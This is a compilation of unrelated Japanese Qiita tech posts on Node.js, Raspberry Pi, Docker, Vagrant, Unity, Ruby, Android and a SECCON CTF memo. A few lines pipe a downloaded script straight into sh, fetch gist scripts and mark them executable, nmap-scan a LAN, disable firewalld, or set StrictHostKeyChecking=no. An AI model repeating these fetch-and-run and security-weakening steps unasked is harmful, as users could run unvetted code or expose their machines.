OmniAICreator/Qiita-1.07M huggingface dataset:
handle leakやらかした件

# Connectionはちゃんと閉じよう(いましめ)

## 経緯

別のサーバーにアクセスして情報をとってくるnodejsが `EMFILE, too many open files` を発してプロセス死亡多発。
OSはWindowsで特にファイルも開いてないし上限ないはずなんだが...と困惑する俺氏。
なにやらハンドルが増えすぎてエラーが出ているっぽいことに気がついたあたりで
コネクション張りすぎとサーバー管理者から怒られて事態を把握。

### 標準的なデータ取得例(Callback)

例えばMySQLから情報を取得するには下記のようにクエリーを投げて列で取得することがある。
クエリーの前に `connect` してその後に `end` する。ワカル。

```
connection.connect(); // <--
connection.query('SELECT * from database',(err, row)=>{
  if (err) throw err;
  row.map() // 列の処理
  connection.end();　// <--
})
```

### データ取得例(stream)

ところがstreamになるとどこで閉じるべきかという話になる。
コールバックがない場合、コネクションを閉じ忘れて、対象のコネクションが残ったままになる。

```
// データ処理するStream
const cst = Transform({objectMode:true
  ,transform:function(chunk, enc, cb){
    // 処理
    cb();
})

// クエリー結果と接続
const source_stream = queryStream("SELECT * from database");
source_stream
  .pipe(cst);
// コネクション閉じてない

function queryStream(query){
  connection.connect(); // <--
  return connection.query('SELECT * from database').stream() // streamをかえす
}
```

callbackで渡される場合も同様

```
queryStreamCallback("SELECT * from database", (err, stream)=>{
  stream
    .pipe(cst);
  // ここでendすると転送完了前に閉じてしまう
});

function queryStreamCallback(query, cb){
  connection.connect(); // <--
  connection.query('SELECT * from database',(err, stream)=>{
    return cb(err, stream)
  })
}
```

## 解決方法

直接Connectionにアクセスできる上記の例なら `on('finish')` で開放すればいいのですが、
使い勝手を考えると隠蔽していることが多いので直接アクセスできない。
なのでStreamを渡す側が `on("end")` に `connection.end()` を登録までして返すほうが安心。

```
const source_stream = queryStream("SELECT * from database");
source_stream
  .pipe(cst);
// 使用側はケアしなくて良い

function queryStream(query){
  connection.connect(); // <-- 
  let st = connection.query('SELECT * from database').stream() // streamをかえす

  st.on("end", ()=>{ connection.end(); }) // <-- streamが閉じたらコネクションも閉じる
  
return st;
}
```


`connect` しといて後は勝手に開放してくれるだなんて思ったらだめだゾ。


### 発見用メモ

もしかして開放忘れてる? と言うときに確認する方法
タスクマネージャのプロセス一覧にハンドル数が表示される(ない場合は列の編集でチェックを入れる)

> [ハンドルリークの調査方法 ～ ハンドルリークとは？](http://keicode.com/iis/iis504.php)
mymemo > LCD examples

for 8 x 2 LCD display

### Hello

```
     12345678
LCD: Hello,
LCD: 7of9
```

### notify secret message from Janeway's Pi Zero

```
     12345678
LCD: smsg frm
LCD: Janeway
```

### notify secret message from 7of9's PiZero to Tuvok's Pi Zero
```
     12345678
LCD: smsg to
LCD: Tuvok
```

### show message from Chakotay

```
     12345678
LCD: msg from
LCD: Chakotay
LCD: meet at 
LCD: Arctic
LCD: 07:30 PM
```


### Goodbye

```
     12345678
LCD: Nice day
LCD: 7of9
```
Raspberry Piに最新版Node.jsをダウンロード

Raspberry Piに最新版のNode.jsをダウンロードしようと思ったのですが、配布先が様々あり迷いました。

```bash:ssh
$  sudo apt-get install nodejs
```

これでインストールはされるものの、バージョンが少し古いものしかダウンロード出来ません。どうせ使うならv4.0以降の安定版を入れたいと思いました。

## 公式ページからダウンロード

[nodejs.org](https://nodejs.org/en/)よりバージョンを指定してRaspberry Piにダウンロードする方法が海外記事に書かれていました。

[Installing Node.js v4.0.0 on a Raspberry Pi (All Models)](http://blog.wia.io/installing-node-js-v4-0-0-on-a-raspberry-pi/)

以下引用です。

>Download Node.js source
Raspberry Pi Model A, B, B+ and Compute Module 
`wget https://nodejs.org/dist/v4.0.0/node-v4.0.0-linux-armv6l.tar.gz 
tar -xvf node-v4.0.0-linux-armv6l.tar.gz 
cd node-v4.0.0-linux-armv6l`

>Raspberry Pi 2 Model B 
`wget https://nodejs.org/dist/v4.0.0/node-v4.0.0-linux-armv7l.tar.gz 
tar -xvf node-v4.0.0-linux-armv7l.tar.gz 
cd node-v4.0.0-linux-armv7l`

ダウンロード先はこの様なファイルになっていました。

![1.png](https://qiita-image-store.s3.amazonaws.com/0/47128/5ebfa1e2-b8f5-b0b9-b5dc-4a53d560775c.png)

Raspberry Pi 2 Model B ならば　`node-v4.0.0-linux-armv7l.tar.gz`をダウンロード後解凍すれば良い様です。

## やってみた

Macに入れたものと同じバージョンで揃えたかったのでv4.2.4を選びダウンロード。

```bash:ssh
$ wget https://nodejs.org/dist/v4.2.4/node-v4.2.4-linux-armv7l.tar.gz
```

解凍しました。（数分で解凍出来ました）

```bash:ssh
$ tar -xvf node-v4.2.4-linux-armv7l.tar.gz
```

ディレクトリに移動してユーザーローカルにコピーします。

```bash:ssh
$ cd node-v4.2.4-linux-armv7l

 ~/node-v4.2.4-linux-armv7l $ sudo cp -R * /usr/local/
```

![２.png](https://qiita-image-store.s3.amazonaws.com/0/47128/fa0e4afc-0981-3d3d-2d0f-32f3927b6e4b.png)

/user/local フォルダにコピーされました。 

```bash:ssh
$ node -v
v4.2.4
```

無事ダウンロード成功。ホッ。
PiZero > Connection diagram v0.3 > PiZero / ESP8266 / Power (5V)

This article is for my entry to Pi Zero contest 2016.
https://hackaday.io/project/9526-bring-your-own-pizero-byop

Connection diagram v0.3 (2016 Feb 14).

![](http://yuml.me/diagram/class/[PiZero{bg:red}]USB5V<--[USB HUB],[5V PWR or battery]USB5V-->[USB HUB],[USB HUB]-->USB5V[Three terminal regulator],[Three terminal regulator]3.3V-->[ESP8266{bg:red}],[ESP8266]I2C<-->[AQM0802(LCD 8x2)],[ESP8266]<-->UART3.3V[PiZero])
技術英語 > which defines your system in great detail. / How much water is too much? / To what extent ... 

@ Adam Taylor MicroZed Chronicles - Using the Zynq 101 [Kindle Edition]

No.272 / 2179

> Xparameters.h, which defines your system <font color=red>in great detail</font>.

<hr>
関連して思い出したもの

> How much water is too much?

LOEで聞いた気がするが、見つからない。

訳すとすると「どれだけの水だったら多すぎなのか？」

<hr>
関連して思い出したもの

http://ejje.weblio.jp/sentence/content/to+what+extent
> To what extent can you speak Japanese?
nodistを使ってWindows環境でnode.jsのバージョンを切り替える


Macだとnodebrewとかndenvとかでnode.jsのバージョンを切り替えるのが常套手段。

Windowsにそういうのないのかなって調べたらnodistってのがあった。

インストール～使い方は大体こんな感じ。

1. [公式](https://github.com/marcelklehr/nodist)からインストーラーをダウンロードする
2. 適当にインストールする
3. おもむろにコマンドプロンプトを立ち上げて、インストール可能なバージョンを見る  
```
> nodist dist
```
4. 使いたいバージョンをインストールする  
```
> nodist + v4.3.0
```
5. 任意のバージョンのnode.jsを使えるようにする  
システム全体に設定する場合  
```
> nodist 4.3.0
```  
任意のフォルダ内だけに設定する場合  
```
> nodist local 4.3.0
```

公式に以下のように書いてあるので、とりあえず既存のnode.jsは消しておこう。

> Nodist was designed to replace any existing node.js installation, so if node is already installed on your machine, uninstall it first.

ちなみに僕はアホなので、Chakra入れているの忘れてて「なんでnodist動かないんだろう？」と悩んでました。（消したら普通にnodist動いた）
Docker上に開発環境一式を構築する


## 概要

Docker上にGitBucket/Jenkins/nginx/DNS/デスクトップ環境のコンテナを立て、開発環境一式まるまる構築します。各コンテナが更新するファイルはホスト側に配置します。

## Pros/Cons
* Dockerfileを見ればインストールしたものが一目瞭然
* バックアップや移行が簡単
* rootkitにやられても再起動すれば元通り
* セキュリティアップデートは面倒

## 現在のステータス

* VPSにホストにUbuntuを入れる <-イマココ
* [dnsを構築する](http://qiita.com/hakaicode/items/478ba39055c101d6197d)
* [nginxを構築する](http://qiita.com/hakaicode/items/38cbed889a03a33cdfcf)
* [GitBucket環境を構築する](http://qiita.com/hakaicode/items/4fb257c8e05727a8abf5)
* [Selenium用のJenkins環境を構築する](http://qiita.com/hakaicode/items/9a4ccf9faf63a4d9d3e4)
* [Desktop環境(IntelliJ IDEA)を構築する](http://qiita.com/hakaicode/items/79de9b24ad28070fbab2)
* [まとめと反省](http://qiita.com/hakaicode/items/0bfb210687d521e8c253)

## サーバー準備

ベアメタル２台使ってCoreOS+fleetでいろいろ試していたのですが、今回はConoHaのVPSの一番安いプランを使ってみます。
「サーバー追加」
1.プラン
タイプ: VPS
リージョン: 東京
メモリ: 1GB

2.イメージ
イメージタイプ: OS
OS: Ubuntu
　CoreOSが無かったのでUbuntuにしました。OSイメージをアップロード出来るのですが今回はそこまでしません。
バージョン: 14.04(64bit)
root パスワード: xxxxxx
　ここでパスワードを決めておく必要があります。

「追加」ボタンを押すとイメージ作成中となり、サーバーリストに表示されます。しばらくするとコンソールに接続できるようになります。

## Docker準備

```bash
$ apt-get update
$ wget -qO- https://get.docker.com/ | sh
```

aptでインストールした方が管理が楽かもしれません。

```bash
$ apt-get install docker.io
```

できるだけrootで作業したくないのでdockerユーザーを作ろうとしたのですが 'adduser docker' だと'docker' グループがもうあるので作れない、と怒られてしまいます。
useraddだと自分でディレクトリ作ったり.bashrc持って来たりとか面倒なんで、別名でやった方が楽かもしれないですね。

```
# useradd docker -g docker -s /bin/bash
# mkdir -p /home/docker
# cp /etc/skel/.bashrc /home/docker
```

dockerユーザーで公開鍵ログインしようとしてハマりました。ConoHaのコンソールにはバグがあって公開鍵をテキスト送信しようとすると切り詰められてしまいます。Windows8 + Chrome環境です。twitterでも同じようなことをつぶやいてる方がいました。CentOS6 + Chromeでは再現しませんでした。この件はサポートとやり取り中で、環境により200バイト以上では文字が欠けることがあるようです。

一旦/etc/ssh/sshd_configでPasswordAuthentication yesにしてrootで接続し、/home/docker/.ssh/authorized_keysに登録してしまうのが早いと思います。

dockerユーザーでログインできるのを確認したら下記の様にポートも一応変更して再起動します。Ubuntu14.04ではPasswordAuthenticationはデフォルトでnoでした。

```conf:sshd_config
PasswordAuthentication no
PermitRootLogin no
Port 10022
```

```shell-session
$ sudo sshd restart
```
Shift-JIS（CP932）を UTF-8 に変換する


Lazarus で作成したアプリを Windows 上で動作させる前提で、
Shift-JIS 文字コードを UTF-8 に変換するには、システム文字コードからの UTF-8 変換だけで済んでしまう。
例えば、テキストファイルを読み込みする場合、テキストファイル内の文字コードが Shift-JIS で記載されていて、
自作アプリ内でファイルの内容を操作したいなど。

### 例 システム文字コードからの UTF-8 変換
FPC2.6系のWindowsだとシステム文字コードは、 Shift-JIS と位置付けられているようだ。

```Pascal
var
  sjisString: String;
  utf8String: String;
begin
       :
  utf8String := SysToUTF8(sjisString)
       :
end;
```

但し、この方法だと、Mac 上（OSX）では、コード変換が意図した動きにはならない。
Mac（OSX）だと、システム文字コードが UTF-8 に位置付けられているようだ。
そこで、文字コードページを指定して変換する方法がないかをググッてみたけど、中々見つからない。

Shift-JIS のコードページは、CP932。
ググッても、ダメだったので、Lazarus の便利関数内に良さそうな処理がないかを探してみる。
見つかったのは、LConvEncoding というユニット。
**/Developer/lazarus/components/lazutils/lconvencoding.pas**

### 例 LConvEncoding を使用してみた
```Pascal
var
  sjisString: String;
  utf8String: String;
begin
  // uses LConvEncoding
       :
  utf8String := CP932ToUTF8(sjisString)
       :
end;
```
**CP932ToUTF8** 関数だと、
Mac（OSX）上でもShift-JIS（CP932）から UTF-8 に変換できたので、ちょっと、様子を見てみる。
サーバなしで画像をアップロードできるSaaS「Baku」を作った

# Baku
![68747470733a2f2f75706c6f61642e77696b696d656469612e6f72672f77696b6970656469612f6a612f662f66392f53616b61696d696e61746f5f4d697a756b695f536869676572755f526f61645f42616b755f5374617475655f312e4a5047.jpeg](https://qiita-image-store.s3.amazonaws.com/0/36652/67874409-8697-82c6-fa7f-abbb3d5e35e2.jpeg)

react + firebaseでアプリを作っている際、画像のアップロードをシンプルに代行してくれるサービスがなかったので作りました。よけいなものは一切なく、アップロードしてURLを返すだけのサービスです。

## 使い方

```
npm i --save ba-ku
```

```
import Baku from 'ba-ku';
const baku = new Baku()

baku.upload(FILE,(e,res)=>{
  console.log(res.url)
  //This is hosted file url.
})
```

`baku.upload()`にファイルオブジェクトを投げるとアップロードしてくれます。
実際にはjQueryでもangularでも使えますが、ここではReactでの使い方を紹介します。

```
import React, { Component } from 'react';
import Baku from 'ba-ku';
const baku = new Baku()

export default class App extends Component {
  constructor(props) {
      super(props);
      this.state = {
          image:''
      };
  }
  handleFileSelect = (e)=>{
    baku.upload(e.target.files[0],(e,res)=>{
      this.setState({image:res.url})
    })
  };
  render() {
    return (
      <div>
      <input type='file' onChange={this.handleFileSelect}></input>
        <img src={this.state.image} />
    </div>
    );
  }
}

```
詳細はgithubより
<a target='_blank' href="https://github.com/tkshi/baku">https://github.com/tkshi/baku</a>

現在は無料で10GB/ユーザまで使えます。それ以上は課金が必要な仕組みです。

***
一緒にこのサービスを作ってくれるエンジニア/デザイナー
資金提供をしてくれる投資家を募集中です。興味のある方は下記アドレスまで
endotakashi1992@gmail.com
Unity3D-簡単なゲームを作りながら学ぼう①

#Unity3Dに興味はありましたが、いつも後回しにしてた皆さんこれから簡単なゲームを作りながら勉強しましょう。
#25回でゲームを完成させたいと思います。簡単な対戦ゲームを作ります。
今日はその1回目です。。。。。よろしくお願いします。

##Unity3Dダウンロード
http://unity3d.com/jp/get-unity/download?ref=personal

韓国のサイトに簡単なゲームを作りながら勉強ができるサイトがあったので
それを参考にして勉強したいと思います。韓国語が分かる方は以下を参考してください。韓国語が分からない方も安心してください！！これからQiitaで見れますよ。

参考：http://devkorea.co.kr/bbs/board.php?bo_table=m03_lecture&wr_id=3435

##新規プロジェクトを作りましょう
![5.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/6f258894-ac6c-e139-9796-f52dddd45b5c.png)
>プロジェクト名と保存先選択、そのあと「3D」か「2D」かを選択します。
>3DにしてCreate Projectをクリック

##新規プロジェクト生成されました
![6.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/b8ac422b-3290-770f-493b-a06247c44f17.png)

>映画を作るみたいな感じですね！！！かっこいい、カメラもあるし

##最初Sceneを保存してみましょう。
>ゲームを作るための画面をSceneって呼んでます。映画のSceneみたいに。プロジェクトを生成すると自動的にSceneが作れます。そのSceneをFile>Save Sceneで保存しましょう。
Assetsフォルダに保存されますね。右下のスライダーでアイコンのサイズが変更できます。

![9.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/1325951e-faca-d00f-031b-95c9e7be3f4b.png)

##次は色んなSceneを作る場合分かりやすくするためにはAssetsのフォルダを作って保存したほうがいいので作りましょう
Assetsフォルダから右クリックしてCreate>Folderを選択してFolderを作ってSceneを保存します。

![10.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/25979508-4cb4-29d8-15ea-13ae24beb50a.png)

##今日はオブジェクトの生成までやります。
Unityの画面はオブジェクト単位でSceneが構成されます。Unityから提供されるCubeオブジェクトでゲームの舞台を作りたいと思います。
>GameObject->3D Object->Cubeを選択します。

![12.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/dfdbf195-fa09-8845-85b2-cc2a98edf85c.png)

>SceneにCubeオブジェクトが追加されました。
>左にHierarchyにCubeが追加されています。他にもカメラとDirectional Lightがありますね。カメラは映画のカメラ見たいに視線を変えることができます。Directional　Lightは方向を決めて光を当てることができます。
![13.PNG](https://qiita-image-store.s3.amazonaws.com/0/108475/9cfbd8f0-5493-f933-aa4e-a27b82b0c159.png)

#今日ははじめなのでこれで終わります。
次回はCubeオブジェクトの基本操作方法について勉強しようと思います。

#続きはこちら
Unity3D-簡単なゲームを作りながら学ぼう②
http://qiita.com/amagasu1234/items/aec854cb4c38d5c015d8

Unity3D-簡単なゲームを作りながら学ぼう③
http://qiita.com/amagasu1234/items/0d83ea75a0ef8f92c791

Unity3D-簡単なゲームを作りながら学ぼう④
http://qiita.com/amagasu1234/items/ba62cd0daf1b7b369608

Unity3D-簡単なゲームを作りながら学ぼう⑤
http://qiita.com/amagasu1234/items/dc0dc03ef2380dcf051d

Unity3D-簡単なゲームを作りながら学ぼう⑥
http://qiita.com/amagasu1234/items/484f032579172c7566f7
Ruby で識別子に非 ASCII 文字を使う

この記事には役に立つことが書いてありません。こういうの，ポエムっていうのかな。

Ruby では，識別子に非 ASCII 文字も使えます。どういう規則なのかよく分からないんですが（リファレンスマニュアルにも確か載ってなかったはず）。

なので，

```rb
alias カケ print
```

としておけば

```
カケ 3 + 4
# => 7
```

とできて，なんか [ぴゅう太](https://ja.wikipedia.org/wiki/%E3%81%B4%E3%82%85%E3%81%86%E5%A4%AA) を懐かしんでしまったりします。

変数も

```rb
本体価格 = 1000
税率 = 0.05
puts "税込み価格：#{本体価格 * (1 + 税率)}円"
```

などと書けます。（Markdown のシンタックスハイライトが悲しい）

プログラミングしてて，「名前重要」ってつぶやきながら，ランダムハウス英和大辞典なんかを引きつつ，どうしても英語で変数名が思いつかなくて，ふと時計を見たらオイオイ変数名決めるだけで 10 分以上かけてどうすんだよオレ，保守性が大事とか言っても生産性はどうなのよ，しょうがねえな，もう日本語のローマ字でいいや変数名は，でも matsu, take, ume の take はテイクと紛らわしくねえか，とかいろいろ考えたりして，だーっ，もう漢字で書いちゃうぞ！
って誘惑に負けそうになるのだけど，今のところそういうことはしていない。

英語が分かんないとこだけ漢字ってのも目立ってカッコ悪いし，「痩」と「瘦」みたいなパッと見て違いが分かりづらい異体字のバグとかもヤだしな。

でもって，いま思いついたんだけど，ギリシア文字くらい使ってもよくね？
なんか数学的な計算をさせるとき，元の数式でギリシャ文字が使われていると，

```rb
theta = Math::PI / 6
```

みたいに書いちゃうけど，これって

```rb
θ = Math::PI / 6
```

でいいんじゃないかって気がしてきた。
UITextViewのカーソルの色(tintColor)を編集中に変える方法

```swift:
textView.tintColor = .whiteColor()

UIView.beginAnimations(nil, context: nil)
UIView.setAnimationDuration(0)
UIView.setAnimationDelay(0)
UIView.setAnimationCurve(.Linear)
    
textView.resignFirstResponder()
textView.becomeFirstResponder()
    
UIView.commitAnimations()
```

カーソルを一度外して付け直すと反映されるらしい。
アニメーションをオフにしないと、キーボードが上がり下がりする。
Localeを指定して特定のstringを取得する方法


AndroidでLocaleを指定してstringを取得したいことがあったのでまとめます。(API17以上でしか確認していません)

```
Resources resources = getResources();
Configuration configuration = resources.getConfiguration();
configuration.setLocale(Locale.ENGLISH); // ここで取得したいLocaleを指定します。
resources.updateConfiguration(configuration, null); // updateConfigurationを忘れずに…

// ここ以降で取得したstringはEngrishとなります。

// 取得したstringでなにかする。setText()とか…

configuration.setLocale(Locale.getDefault()); // 設定を元に戻すのを忘れないように。

```

サンプルコードを置いておきます。
ボタンをクリックすると文字列が、日本語と英語に切り替わるだけのアプリです。

https://github.com/wakwak3125/LocaleSample

![ezgif.com-video-to-gif.gif](https://qiita-image-store.s3.amazonaws.com/0/64813/f8eaf84d-700f-f050-77ba-c34283c9da88.gif "ezgif.com-video-to-gif.gif")
ローカルのsbtプロジェクトをインポートする方法

※2022年12月現在この方法は使えなくなってるようです。Scala以外でも汎用的に使えるGradleなどでビルドすることをオススメします。
------------------------------------

Githubなどから落としてきた、あるいは自分で作ったsbtプロジェクトをインポートする場合`build.sbt`に以下のように表記します。

```sbt
lazy val <importProject> = RootProject(file("C:\\workspaces\\ImportProject"))
val main = Project(id = "<YOUR_PROJECT>", base =file(".")).dependsOn(<importProject>)
```
`<importProject>`をテキトウな名前に置き換え、`<importProject>`のファイルパスをインポートしたいプロジェクトのものに変え、`<YOUR_PROJECT>`を自分のプロジェクトの`build.sbt`に書かれている`name`に変えることでインポートできるようになります。

2019/01/23追記：
`build.sbt`の`scalaVersion`はインポートするプロジェクトと本プロジェクトで同じにしなければいけないようです。

202/10/18追記：
Scalaのバージョンなどによるかも知れませんが、現在この方法は使えないようなので、インポートしたいプロジェクトを`sbt assembly`でjar化して`lib`フォルダに入れるという方法を使う必要があるようです。

https://stackoverflow.com/a/43073476/3809427
Vagrant、CentOS7でWebサーバのセットアップ

MacにVagrantを用いた、Linux（CentOS7.0）仮想マシンのセットアップ、CentOS7.0のAppach、ファイアウォールの設定メモです。

#1. Vagrantの導入

**Macの場合は、以下のリンクからダウンロードし、インストール**
https://releases.hashicorp.com/vagrant/1.9.5/vagrant_1.9.5_x86_64.dmg?_ga=2.87800600.167939265.1495594964-220527035.1491880955

公式サイト
http://www.vagrantup.com/

#2. CentOS7.0のBOX（テンプレート）を追加
**CentOS7.0x64のパッケージを追加する**
```$vagrant box add CentOS7.0 https://github.com/tommy-muehle/puppet-vagrant-boxes/releases/download/1.1.0/centos-7.0-x86_64.box```


Boxのサイト（非公式）、ここには数多くのBOXが公開されている
http://www.vagrantbox.es/


※vagrant関連機能一覧

- box（テンプレート）の追加  
```$vagrant box add ボックスの名前 パッケージ```
- box一覧  
```$vagrant box list```
- box削除  
```$vagrant box remove ボックスの名前```
- その他関連コマンドを確認  
```$vagrant box -h```

#3. CentOS7.0の仮想マシンを作成
**新しいフォルダを作り、その中に仮想マシンを作成し、起動する**
```$mkdir ~/myOS/CentOS7.0
$cd ~/myOS/CentOS7.0
$vagrant init CentOS7.0
$vagrant up```

※vagrant関連機能一覧

- boxを用いて、仮想マシンを作成  
```$vagrant init ボックスの名前```
- 仮想マシンを起動  
```$vagrant up```

#4. 作成した仮想マシンに接続する
**接続**
```$vagrant ssh```

#4. Webサーバーの設定（Apache）
**Apacheをインストールする**
```$sudo yum -y install httpd```

**Apacheを起動し、常時起動にする**
```$sudo systemctl start httpd.service```
```$sudo systemctl enable httpd.service```

**ファイアウォールを切る（ローカルの場合のみ）**
```$sudo systemctl stop firewalld```
```$sudo systemctl disable firewalld```

※関連機能一覧

- 特定サービスの状態を確認する  
```$sudo systemctl status サービス名   ```
- 特定サービスを起動/停止する  
```$sudo systemctl start/stop サービス名```
- 特定サービスの自動起動状態を確認する  
```$sudo systemctl is-enabled サービス名```
- 特定サービス自動起動をon/offする  
```$sudo systemctl enable/disable サービス名```
Linuxをコマンドラインから即シャットダウン・ログオフ

# シャットダウン

```bash:shell
sudo shutdown -h 0
# または
sudo poweroff
```

なお、`-h`は`-P`でも構いません。また、`0`は`now`でも構いません。

# ログオフ

```bash:shell
gnome-session-quit --no-prompt
# または
pkill gnome-session
```
arpでMACアドレスからIPアドレスを逆引きする

# tl;dr

```bash:terminal
# nmapが無かったらインストール
$ which nmap || brew install nmap

# スクリプト用のディレクトリを作成（適宜読み替え）
$ mkdir -p ~/mybin && cd $_

# スクリプトをダウンロード
$ wget -O- https://gist.github.com/kei-sato/b5ecda9c6c03a9bf7880/raw/474fa3d9d5a204835c02b9a3a1bc234fd9269af3/rarp > rarp
$ wget -O- https://gist.github.com/kei-sato/006cc6f069e648c077af/raw/b65a4c7aca5dcecae348dd21d5bacbe099f92bd3/netmask-bit-count > netmask-bit-count

# 実行パーミッション付与
$ chmod +x *

# ネットワーク関連alias
$ alias getip='ifconfig en0 | grep "inet[^6]" | cut -d" " -f2'
$ alias getmask='ifconfig en0 | awk '\''/mask/{print $4}'\'
$ alias cidr='echo "`getip`/`getmask | netmask-bit-count`"'

# LANのARPキャッシュを更新
$ nmap -sn `cidr`

# MACアドレスからIPアドレスを逆引き
$ rarp 00:0a:95:9d:68:16
192.168.0.253
```

rarp: https://gist.github.com/kei-sato/b5ecda9c6c03a9bf7880
netmask-bit-count: https://gist.github.com/kei-sato/006cc6f069e648c077af

# 環境

```bash:terminal
$ sw_vers
ProductName:	Mac OS X
ProductVersion:	10.11.3
BuildVersion:	15D21
```

# 動機

同じLANに接続している他の機器のIPアドレスが知りたい。
でも、DHCPによって**IPアドレスが動的に変わってしまう**。
MACアドレスは変わらないから、MACアドレスから逆引きすれば出来るはず。

# 最初の想定

1. `arp -an`で、ローカルマシンにキャッシュされたMACアドレスとIPアドレスの対応テーブルを出力
2. MACアドレスでgrep

だけでいいはずだった…。

# つまづいた点

## `arp`の出力では00や0aの先頭の0が省略される

例えば、`00:0a:95:9d:68:16 => 0:a:95:9d:68:16`となるので、
`arp -an | grep 00:0a:95:9d:68:16`としてもヒットしません。

### 解決策

スクリプトを書きました
https://gist.github.com/kei-sato/b5ecda9c6c03a9bf7880

## キャッシュを更新する必要がある

`arp -an`で出力されるのはあくまでローカルマシンのキャッシュであって、
ルーターのキャッシュではないので、ローカルマシンのキャッシュを更新する必要があります。
キャッシュを更新するには試しにパケットを送ってみるしかありません。

### 解決策

LANの[CIDR](http://www5e.biglobe.ne.jp/%257eaji/30min/01.html)が192.168.0.0/24だとすると、`nmap -sn 192.168.0.0./24`でLAN内の全ての機器にパケットを送ることができます。[^1]
[^1]: [nmap](https://nmap.org/man/jp/index.html)は`brew install nmap`でインストールできます

## `ifconfig en0`でCIDRは出力されない

具体的には次のように出力されます

```
$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	ether 01:96:32:33:c6:64
	inet 192.168.0.167 netmask 0xffffff00 broadcast 192.168.0.255
	media: autoselect
	status: active
```

### 解決策

netmaskをCIDRのプレフィックス長（スラッシュの後ろ）に直すスクリプトを書きました。[^2]
https://gist.github.com/kei-sato/006cc6f069e648c077af
[^2]: [冒頭](#tldr)でダウンロードして実行パーミッションを設定する方法を書きました

そして、次のようにaliasを設定します。

```bash:.bash_profile
alias getip='ifconfig en0 | grep "inet[^6]" | cut -d" " -f2'
alias getmask='ifconfig en0 | awk '\''/mask/{print $4}'\'
alias cidr='echo "`getip`/`getmask | netmask-bit-count`"'
```

```bash:terminal
$ cidr
192.168.0.167/24
```

本来は`192.168.0.0/24`であって欲しいですが、nmapする上では問題ありません。

```bash:terminal
$ nmap -sn `cidr`
```
Windows + vagrant 1.8.5 + rsync 3.1.1 で発生する、config.vm.synced_folderの失敗の直し方

# 概要
*chocolateyで、virtualboxとvagrantとrsyncを普通にインストールしたら、vagrant up で[synced_folder](https://www.vagrantup.com/docs/synced-folders/basic_usage.html)のrsyncの同期で失敗*します。
- Windows7, Windows8, Windows8.1, Windows10
- Vagrant 1.8.0+
- [RSync for Windows 5.4.1.20150827](https://chocolatey.org/packages/rsync#versionhistory)
 
# エラーメッセージと、各対応

## rsync: change_dir "/c/path/to/project" failed: No such file or directory (2).

C:\HashiCorp\Vagrant\embedded\gems\gems\vagrant-1.8.5\plugins\synced_folders\rsync\helper.rb の53行目あたりを、以下の様に編集してください。
「vagrant-1.8.5」の場所は、インストールしている Vagrant のバージョンによってかわります。適宜読み替えてください。

```diff
if Vagrant::Util::Platform.windows?
  # rsync for Windows expects cygwin style paths, always.
-  hostpath = Vagrant::Util::Platform.cygwin_path(hostpath)
+  hostpath = '/cygdrive' + Vagrant::Util::Platform.cygwin_path(hostpath)
end
```

参考: [このissue(//github.com/mitchellh/vagrant/issues/3230)](https://github.com/mitchellh/vagrant/issues/3230)



## ~~mux_client_request_session: read from master failed: Connection reset by peer~~[バグ修正済み](https://github.com/mitchellh/vagrant/commit/95ab29b3db441fc7ff8f7051334f0c8f75f0137e)

**[修正されたようです。](https://github.com/mitchellh/vagrant/commit/95ab29b3db441fc7ff8f7051334f0c8f75f0137e)**（2016年7月29日 確認）1.8.5＋では発生しません。


C:\HashiCorp\Vagrant\embedded\gems\gems\vagrant-1.8.1\plugins\synced_folders\rsync\helper.rb の77行目あたりを、以下の様に編集してください。

```diff
rsh = [
  "ssh -p #{ssh_info[:port]} " +
  proxy_command +
-  "-o ControlMaster=auto " +
-  "-o ControlPath=#{controlpath} " +
-  "-o ControlPersist=10m " +
+  # "-o ControlMaster=auto " +
+  # "-o ControlPath=#{controlpath} " +
+  # "-o ControlPersist=10m " +
  "-o StrictHostKeyChecking=no " +
  "-o IdentitiesOnly=true " +
  "-o UserKnownHostsFile=/dev/null",
  ssh_info[:private_key_path].map { |p| "-i '#{p}'" },
].flatten.join(" ")
```

参考: [このissue(//github.com/mitchellh/vagrant/issues/6702)](https://github.com/mitchellh/vagrant/issues/6702)
SECCON 2015 Online CTF を、後追いでやる人のためのメモ

SECCON 2015 Online CTF を、後追いでやる人のためのメモ

# はじめに

* この記事は、[SECCON 2015 Online CTF](http://ctf.seccon.jp/2015/)の問題がGitHubで公開されているので、後追いでやった時のメモになります。
* ちなみに、やってみた記録（write-upというらしい）はこちらにまとめました。
  * **[SECCON 2015 Online CTF を、後追いでみっちりやってみよう！](http://kusuwada.blogspot.jp/2016/02/seccon-2015-online-ctf.html)**
  * ※SECCONという楽しそうなものがあるらしい、というのを最近知った、ただの謎解き好きの挑戦記録のため、超初心者目線です。解けていない問題も多々あります。
* 問題集（解答付き）は[こちら](https://github.com/SECCON/SECCON2015_online_CTF)
* wire-upは別記事にしましたが、Qiitaには「後追い出来る、出来ない」メモを展開。同じく後追いで挑戦する方の参考になればと思います

# SECCON online CTF オススメです

* [SecCon CTF 日本公式ページ](http://www.seccon.jp/)
  * Security Contest Capture the flagの略
  * セキュリティに関する問題が出されて、その中からflagを探す競技
* [SECCONとは](http://www.seccon.jp/p/seccon.html)

>「SECCON（SECurity CONtest）」とは、情報セキュリティをテーマに多様な競技を開催する情報セキュリティコンテストイベントです。実践的情報セキュリティ人材の発掘・ 育成、技術の実践の場の提供を目的として設立されました。「SECCON」 の競技には、攻撃・防御両者の視点を含むセキュリティの総合力を試すハッキングコンテスト「CTF (Capture the Flag)」や、あるテーマにあわせてプログラムを作成して披露するプログラミングコンテスト「ハッカソン」などがあります。

* online版は、大会時は一斉スタートで24時間通しでやるようです
* 勉強がてら自分のペースで出来るので、このonline版からはじめてみるのはオススメです
* まったくの初心者でしたが、全部に目を通した後は、ちょっとしたハッカー気分を味わえました

# 後追いで出来る問題・出来ない問題

* タイトルに■がついているものは、既に出題環境が閉鎖されているなどの理由から、後追いでは出来ない問題です
  * □になっているものは、気合いと根性の別解で何とか解けた/解けそう
* タイトルに▲がついているものは、コンテスト当日の環境が閉じられているものの、`build`という環境再現用のソースがセットで公開されている問題です
  * △になっているものは、`build`の中身から環境構築成功、解けた/解けそう
